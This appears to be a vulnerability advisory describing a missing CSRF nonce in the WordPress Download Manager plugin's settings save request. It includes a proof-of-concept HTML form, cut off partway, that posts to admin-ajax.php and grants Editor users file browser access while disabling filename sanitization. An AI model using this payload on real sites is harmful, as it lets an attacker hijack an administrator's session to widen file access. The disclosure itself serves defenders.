The Download Manager plugin lacks a CSRF (nonce) token on the request of saving settings. Because of this an attacker is able to change confidential settings like file browser access and browser base dir by luring a logged-in admin to follow a malicious link containing the proof of concept below.
Proof of concept

The proof of concept below gives file browser access to a user with Editor privileges:

<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="task" value="wdm_save_settings"/>
<input type="hidden" name="action" value="wdm_settings"/>
<input type="hidden" name="section" value="basic"/>
<input type="hidden" name="wpdm_permission_msg" value="Access Denied"/>
<input type="hidden" name="wpdm_login_msg" value="<a href='http://<target>/wp-login.php'>Please login to download</a>
"/>
<input type="hidden" name="_wpdm_file_browser_root" value="/srv/www/wordpress-default/"/>
<input type="hidden" name="_wpdm_file_browser_access[]" value="editor"/>
<input type="hidden" name="_wpdm_file_browser_access[]" value="administrator"/>
<input type="hidden" name="__wpdm_sanitize_filename" value="0"/>
<input type="hidden" name="__wpdm_download_speed" value="4096"/>
